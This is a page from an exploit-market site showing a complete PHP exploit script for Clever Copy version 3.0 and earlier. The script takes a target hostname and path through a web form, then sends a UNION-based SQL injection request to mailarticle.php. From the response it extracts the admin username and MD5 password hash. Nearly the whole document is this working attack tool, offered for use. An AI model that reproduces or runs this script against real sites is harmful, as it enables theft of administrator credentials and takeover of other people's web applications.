[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Clever Copy <= 3.0 Admin Auth Details / Remote SQL Injection Exploit

Author
rgod
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-243
Category
web applications
Date add
04-02-2006
Platform
unsorted
====================================================================
Clever Copy <= 3.0 Admin Auth Details / Remote SQL Injection Exploit
====================================================================




<?php
#   ---Clever_Copy_V3_sql_xpl.php                          5.00 11/01/2006     #
#                                                                              #
#  Clever Copy <= 3.0 SQL injection / Admin authentication details disclosure  #
#                              coded by rgod                                   #
#                                                                              #
#  -> this works with magic_quotes_gpc = Off                                   #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "While heading the profit of my counsel, avail yourself also of    #
#  any helpful circumstances over and beyond the ordinary rules"               #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html><head><title>**********Clever Copy V3.0  SQL injection***************
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
**********Clever Copy V3.0  SQL injection***************</p><p class="Stile6">a
script  by  rgod  at    <a href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a></p><table width="84%"><tr>   <td width="43%">
<form   name="form1"   method="post"    action="'.$_SERVER[PHP_SELF].'">     <p>
<input type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename
.com)</span></p><p><input type="text" name="path">   <span class="Stile5">* path
(ex:/clevercopy/ or just / )</span></p><p><input type="text" name="prefix"><span
class="Stile5"> specify a table prefix (default value: CC_)  </span> </p>    <p>
<input type="text" name="port">  <span class="Stile5"> specify a port other than
80 (default value)      </span></p> <p>  <input  type="text"  name="proxy"><span
class="Stile5">send exploit through an HTTP proxy (ip:port)</span></p><p> <input
type="submit" name="Submit" value="go!"></p></form></td></tr> </table>   </body>
</html>';

function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '<table border="0"><tr>';
  while ($ii <= strlen($headeri)-1){
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "<td>&nbps;&nbps;</td>";
      for ($li=0; $li<=15; $li++) {
        echo "<td>".$headeri[$li+$ki]."</td>";
		}
      $ki=$ki+16;
      echo "</tr><tr>";
    }
    if (strlen($datai)==1) {
      echo "<td>0".$datai."</td>";
    }
    else {
      echo "<td>".$datai."</td> ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "<td>&nbsp&nbsp</td>";
  }
  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
    echo "<td>".$headeri[$li]."</td>";
  }
  echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //2x speed
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {echo 'Not a valid prozy...';
    die;
    }
  echo "OK.<br>";
  echo "Attempting to connect to ".$host." on port ".$port."...<br>";
  if ($proxy=='') {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result < 0) {
    echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
  }
  else {
    echo "OK.<br><br>";
    $html= '';
    socket_write($socket, $packet, strlen($packet));
    echo "Reading response:<br>";
    while ($out= socket_read($socket, 2048)) {$html.=$out;}
    echo nl2br(htmlentities($html));
    echo "Closing socket...";
    socket_close($socket);
  }
  }
}

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.htmlentities($host); die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid prozy...';die;
    }
    $parts=explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);echo nl2br(htmlentities($html));
}

  $host=$_POST[host]; $port=$_POST[port];
  $path=$_POST[path]; $proxy=$_POST[proxy];
  $prefix=$_POST[prefix];

if (($host<>'') and ($path<>''))
{
  $port=intval(trim($port));
  if ($port=='') {$port=80;}
  if ($prefix=='') {$prefix="CC_";}
  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace("\r\n","",$host);
  $path=str_replace("\r\n","",$path);

  $SQL ="'UNION SELECT 0,0,0,0,0,0,concat('***ADMIN***:',username,'***'),concat";
  $SQL.="('***MD5_PWD_HASH***:',password,'***'),0,0,0,0,0,0,0,0,0 FROM ".$prefix."admin/*";
  $SQL=urlencode($SQL);
  $packet="GET ".$p."mailarticle.php?ID=$SQL HTTP/1.1\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="User-Agent: Digger/1.0 JDK/1.3.0rc3\r\n";
  $packet.="Connection: Close\r\n\r\n";
  show($packet);
  sendpacketii($packet);
  $temp=explode("***ADMIN***:",$html);
  $temp2=explode("***",$temp[1]);
  echo "<strong>";
  echo "ADMIN: ".htmlentities($temp2[0]);
  echo "<br>";
  $temp=explode("***MD5_PWD_HASH***:",$html);
  $temp2=explode("***",$temp[1]);
  echo "MD5 HASH: ".htmlentities($temp2[0]);
  echo "<br>";
  echo "</strong>";
  if ($temp2[0]<>'') {echo "Exploit succeeded...";}
	       else  {echo "Exploit failed...";}
}
else
{echo "Fill * required fields, optionally specify a proxy...";}

?>



#  0day.today [2024-12-23]  #